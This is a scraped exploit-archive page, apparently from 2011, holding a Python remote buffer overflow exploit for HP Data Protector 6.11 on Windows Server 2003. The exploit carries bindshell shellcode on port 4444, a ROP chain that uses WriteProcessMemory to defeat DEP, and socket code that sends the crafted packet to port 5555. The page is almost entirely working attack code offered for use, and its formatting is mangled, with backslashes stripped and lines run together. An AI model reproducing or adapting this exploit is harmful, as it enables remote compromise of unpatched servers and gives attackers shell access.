

```
#!/usr/bin/python # HP Data Protector 6.11 Remote Buffer Overflow # Tested on Windows
2003 R2 + DEP Enabled # Authors: muts & dookie # Reference:
http://www.exploit-db.com/exploits/17458/ # Reference:
http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities #
http://www.offensive-security.com/0day/hp-dataprotector.py.txt import struct, socket, sys
target = sys.argv[1] # bindshell - port 4444 shellcode =
("xbfx83x75x7fddxdbxc8xd9x74x24xf4x5ex33xc9xb1"
"x56x31x7ex13x03x7ex13x83xeex7fx97x8ax21x97xd1"
"x75xdax67x82xfc3fx56x90x9bx34xcax24xefx19xe6"
"xcfxbdx89x7dxbd69xbdx36x08x4cxf0xc7xbcx50x5e"
"x0bxdex2cx9dx5fx00x0cx6ex92x41x49x93x5cx13x02"
"xdfxcex84x27x9dxd2xa5xe7xa9x6axdex82x6ex1ex54"
"x8cxbex8exe3xc6x26xa5xacxf6x57x6axafxcbx1ex07"
"x04xbfxa0xc1x54x40x93x2dx3ax7fx1bxa0x42x47x9c"
"x5ax31xb3xdexe7x42x00x9cx33xc6x95x06xb0x70x7e"
"xb6x15xe6xf5xb4xd2x6cx51xd9xe5xa1xe9xe5x6ex44"
"x3ex6cx34x63x9ax34xefx0axbbx90x5ex32xdbx7dx3f"
"x96x97x6cx54xa0xf5xf8x99x9fx05xf9xb5xa8x76xcb"
"x1ax03x11x67xd3x8dxe6x88xcex6ax78x77xf0x8ax50"
"xbcx4xdaxcax15xc4xb0x0ax99x11x16x5bx35xc9xd7"
"x0bxf5xb9bfx41xfaxe6xa0x69xd0x91xe6xa7x00xf2"
"x80xc5xb6xe5x0cx43x50x6fxbd05xcax07x7fx72xc3"
"xb0x80x50x7fx69x17xecx69xadx18xedxbfx9exb5x45"
"x28x54xd6x51x49x6bxf3xf1x00x54x94x88x7cx17x04"
"x8cx54xcfxa5x1fx33x0fxa3x03xecx58xe4xf2xe5x0c"
"x18xacx5fx32xe1x28xa7xf6x3ex89x26xf7xb3xb5x0c"
"xe7x0dx35x09x53xc2x60xc7x0dxa4xdaxa9xe7x7exb0"
"x63x6fx06xfaxb3xe9x07xd7x45x15xb9x8ex13x2ax76"
"x47x94x53x6axf7x5bx8ex2ex07x16x92x07x80xffx47"
"x1axcdxffxb2x59xe8x83x36x22x0fx9bx33x27x4bx1b" "xa8x55xc4xcexcexcaxe5xda") wpm
= "x55x23xe4x77" # 77E42355 WriteProcessMemory - Win2k3 wpm += "x50xd0x4bx00"
# 004bd050 omniinet.exe - Return after WPM wpm += "xffxff\xff\xff" # hProcess wpm +=
"x50xd0x4bx00" # 004bd050 omniinet.exe - Address to Patch wpm += "x41x41x41x41"
# lpBuffer placeholder (Shellcode Address) wpm += "x42x42x42x42" # nSize placeholder
(Shellcode Size) 00001000 wpm += "x38xd4x4bx00" # 004BD438 omniinet.exe - Pointer
for Written Bytes # pre packet =
("x00x00x27xCAxFFxFE32x00x00x00x20x00x61x00x00x00"
"x20x00x61x00x00x00x20x00x61x00x00x00x20x00x61x00"
"x00x00x20x00x61x00x00x00x20x00x32x00x30x00x00x00"
"x20x00x61x00x00x00x20x00x61x00x00x00x20x00x61x00"
"x00x00x20x00x61x00x00x00x20x00x61x00x00x00x20x00"
"x61x00x00x00x20x00x61x00x00x00x20x00") # padding to EIP packet += "A" * 2004 # Get a
copy of ESP into a register for safekeeping packet += "x1fx59x37x7c" # 0x7c37591f PUSH
ESP # ADD EAX,DWORD PTR DS:[EAX] # ADD CH,BL # INC EBP # OR AL,59 # POP ECX #
POP EBP # RETN packet += "x44" * 4 # junk to pop into EBP # Jump over the WPM
parameters packet += "xfex9bx35x7c" # 0x7c359bfe : # ADD ESP,20 # RETN packet +=
```

```
wpm packet += "x44" * 4 # filler # Get EAX to point at our shellcode on the stack and
overwrite the placeholder packet += "x40xa0x35x7c" # 0x7c35a040 : # MOV EAX,ECX #
RETN packet += "x1cx3bx37x7c" # 0x7c373b1c : # ADD EAX,100 # POP EBP # RETN
packet += "x44" * 4 # filler packet += "xd4x3dx43x00" # 0x00433dd4 : # MOV DWORD PTR
DS:[ECX+18],EAX # POP EBP # RETN ** [omniinet.exe] packet += "x44" * 4 # filler #
Craft the shellcode size in EAX and overwrite the placeholder packet += "x2ex40x34x7c" #
0x7c34402e : # POP EDX # RETN ** [MSVCR71.dll] packet += "x59x3dx41x41" # Value to
SUB from EAX packet += "x23x62x37x7c" # 0x7c376223 : # POP EAX # RETN **
[MSVCR71.dll] packet += "x41x41x41x41" # To be the sub-ee 41413D59 packet +=
"xe9xfax36x7c" # 0x7c36fae9 : # SUB EAX,EDX # POP ESI # RETN ** [MSVCR71.dll]
packet += "x44" * 4 # filler packet += "x69x60x37x7c" # 0x7c376069 : # MOV DWORD PTR
DS:[ECX+1C],EAX # POP EDI # POP ESI # POP EBX # RETN ** [MSVCR71.dll] packet +=
"x44" * 12 # filler # Point ESP to WPM and the stack and return packet += "x40xa0x35x7c"
# 0x7c35a040 : # MOV EAX,ECX # RETN ** [MSVCR71.dll] packet += "x66x61x43x00" #
0x00436166 : # ADD EAX,2 # POP EBP # RETN ** [omniinet.exe] packet += "x44" * 4 #
filler packet += "x66x61x43x00" # 0x00436166 : # ADD EAX,2 # POP EBP # RETN **
[omniinet.exe] packet += "x44" * 4 # filler packet += "x66x61x43x00" # 0x00436166 : # ADD
EAX,2 # POP EBP # RETN ** [omniinet.exe] packet += "x44" * 4 # filler packet +=
"x66x61x43x00" # 0x00436166 : # ADD EAX,2 # POP EBP # RETN ** [omniinet.exe] packet
+= "x44" * 4 # filler packet += "x05x8bx34x7c" # 0x7c348b05 : # XCHG EAX,ESP # RETN
** [MSVCR71.dll] packet += "x45" * 8 packet += "x90" * 120 packet += shellcode packet
+= "C" * 980000 # post packet += ("x00x00x20x00x61x00x00x00x20x00x61x00x00x00x20x00"
"x61x00x00x00x20x00x61x00x00x00x20x00x61x00x00x00"
"x20x00x61x00x00x00x20x00x61x00x00x00x20x00x61x00"
"x00x00x20x00x61x00x00x00x20x00x61x00x00x00x20x00"
"x61x00x00x00x20x00x61x00x00x00x20x00x61x00x00x00"
"x20x00x61x00x00x00x20x00x61x00x00x00x20x00x61x00x00x00") sock =
socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((target, 5555))
sock.send(packet) sock.close() # 1337day.com [2011-07-02] Tags: packet , retn , filler ,
[msvcr71.dll]
```

,
[\[omniinet.exe\]](#)

,
[0x00436166](#)

,
[placeholder](#)

Share:



